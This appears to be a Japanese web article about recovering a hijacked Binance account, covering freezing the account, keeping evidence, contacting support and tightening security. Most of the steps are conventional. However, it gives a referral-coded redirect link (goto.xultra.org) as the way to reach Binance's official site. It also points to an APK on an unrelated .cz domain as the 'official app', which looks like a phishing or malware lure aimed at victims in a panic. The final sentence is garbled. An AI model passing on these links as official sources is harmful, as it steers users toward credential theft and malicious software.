アカウントが乗っ取られたかどうかの判断
緊急措置を講じる前に、まずアカウントが本当に侵害されたかどうかを確認しましょう。見覚えのないデバイスや地域からのログイン通知、身に覚えのない残高の減少や出金記録、セキュリティ設定の無断変更、パスワードが変更されてログインできないなどの兆候がある場合は、直ちに行動を起こす必要があります。
ステップ1: アカウントを直ちに凍結する
これが最も緊急かつ重要な操作です。凍結によりハッカーの以降の操作をすべて阻止できます。
登録メールアドレスにアクセスできる場合は、バイナンスから届いたメールの下部にある「アカウントを無効にする」リンクをクリックするのが最速の方法です。まだログインできる場合は、セキュリティ設定ページから「アカウントを無効にする」を選択してください。
完全にログインできない場合は、https://goto.xultra.org/goto?code=XIAOYI1からバイナンス公式サイトにアクセスし、オンラインカスタマーサービスに緊急凍結を依頼してください。
ステップ2: 証拠を保全する
アカウント凍結後、直ちに不正アクセスに関連するすべての証拠を収集・保存してください。異常な取引記録や出金記録のスクリーンショット、バイナンスからのセキュリティ通知メール、最後にアカウントを正常に使用した時刻の記録などが重要です。
ステップ3: カスタマーサポートに連絡する
バイナンスのヘルプセンターから「緊急」としてセキュリティチケットを提出してください。事件の経過、移動された資産、セキュリティ設定の変更有無を詳しく説明し、本人確認書類を添付します。
ステップ4: 関連アカウントを確認する
アカウントの乗っ取りは通常、単独の事象ではありません。登録に使用したメールアカウント、携帯電話のSIMカードの安全性、他の取引所やウォレットで同じパスワードを使用していないかを確認してください。
ステップ5: アカウントの復旧
バイナンスのセキュリティチームによる調査完了後、メールで結果が通知されます。アカウント復旧後は、以下のセキュリティ強化措置を必ず実行してください。
- 他のどのプラットフォームでも使用していない新しい強力なパスワードを設定する
- Google認証を再設定し、新しい秘密鍵を安全にバックアップする
- 出金ホワイトリストを有効にし、自分が管理するウォレットアドレスのみを追加する
- フィッシング防止コードを設定する
よくある乗っ取りの原因と予防策
フィッシング攻撃、パスワードの流出、マルウェア、SIMカードの乗っ取りが主な原因です。予防のために、公式チャネルからのみバイナンスにアクセスし、https://download.bmwweb.cz/pack/BNApp_F0001307.apk?utm_medium=web_share_copyから公式アプリをダウンロードしてください。パスワードマネージャーで各プラットフォームに固有の強力なパスワードを使用し、すべての利用可能なセキュリティ認証を有効にし、公共Wi-Fi環境での取引所ログインを避け、定期的にアカウントの活動記録とセキュリティ設定を確認することをおすすめします。した方も、同様のセキュリティ対策を徹底してください。